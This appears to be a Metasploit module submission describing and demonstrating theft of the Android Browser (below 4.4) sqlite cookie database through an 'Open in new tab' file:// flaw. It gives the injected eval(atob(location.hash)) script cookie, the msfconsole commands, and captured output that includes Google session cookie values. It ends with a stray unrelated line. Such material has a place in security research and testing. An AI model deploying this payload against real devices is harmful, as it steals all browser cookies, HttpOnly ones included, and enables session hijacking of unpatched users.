Android < 4.4 Browser: "Open in new tab" sqlite cookie database disclosure

This exploits an issue in Android < 4.4's Browser application that allows the sqlite cookie database file to be stolen. This allows theft of *all* cookies, HttpOnly or not.

The attack works as follows:

1. User browses to malicious page
1. A cookie is saved with a `<script>` stub that calls `eval(atob(location.hash))` to execute the base64-encoded portion of the current URL after the '#' character (this is a handy trick for space-restricted XSS)
1. User taps some link and chooses "Open in new tab", the sqlite cookie file is opened as a `file://` URL and rendered by the browser for some reason
1. The cookie with the `<script>` tag is rendered and the script executed
1. The script re-fetches the current page (the binary sqlite database) with a binary XHR request and sends it back to the attacker

This issue was patched in AOSP on 4.3 in February 2014, but many devices still exist without the patch.

#### Verification

- [x] Get a device or emulator < 4.4 (I tested this working back to the 2.x line as well)
- [x] Run the module:

        msf> use auxiliary/gather/android_browser_new_tab_cookie_theft
        msf> set URIPATH /
        msf> run -j

- [x] Browse to the page and enjoy some cookies:

        [*] 192.168.0.2  android_browser_new_tab_cookie_theft - Sending exploit landing page...
        [*] 192.168.0.2  android_browser_new_tab_cookie_theft - Processing exfilrated files...
        [+] 192.168.0.2  android_browser_new_tab_cookie_theft - Cookies received: 14.0kb
        [+] 192.168.0.2  android_browser_new_tab_cookie_theft - SQLite cookie database saved to:
        /Users/joe/.msf4/loot/20141223115923_default_192.168.0.2_android.browser._641083.bin

        msf> sqlite3 /Users/joe/.msf4/loot/20141223115923_default_192.168.0.2_android.browser._641083
        SQLite version 3.7.13 2012-07-17 17:46:21
        Enter ".help" for instructions
        Enter SQL statements terminated with a ";"

        > .tables
        cookies meta
        > SELECT * FROM cookies;
        13063831109351012|.google.com|PREF|ID=b30e709942af0e2f:FF=0:TM=1419357509:LM=1419357509:S=Ij5xNH-F
        KYfisNGA|/|13126903109000000|0|0|13063831109351012
        13063831109351601|.google.com|NID|67=YXo5S4o37hHo4SSLjpEOrIxL-eYJCa7Zot83b_RmKv73OnL6mVBqYnf6QVRuJ
        NARqo3vSUc6BbXaaFJVHmp1utkjGgbB2sqZyOCxhdA8IKZ1ruKdSfmLuw5t7MTrCnA8|/|13079642309000000|0|1|130638
        31109351601
        13063831110219225|.google.com|OGPC|5061241-1:|/|13066423110000000|0|0|13063831110219225
        13063831157362888|192.168.0.2|ch|<script>eval(atob(location.hash.slice(1)))</script>|/|0|0|0|1306383
        1157362888

There certainly is. One sec.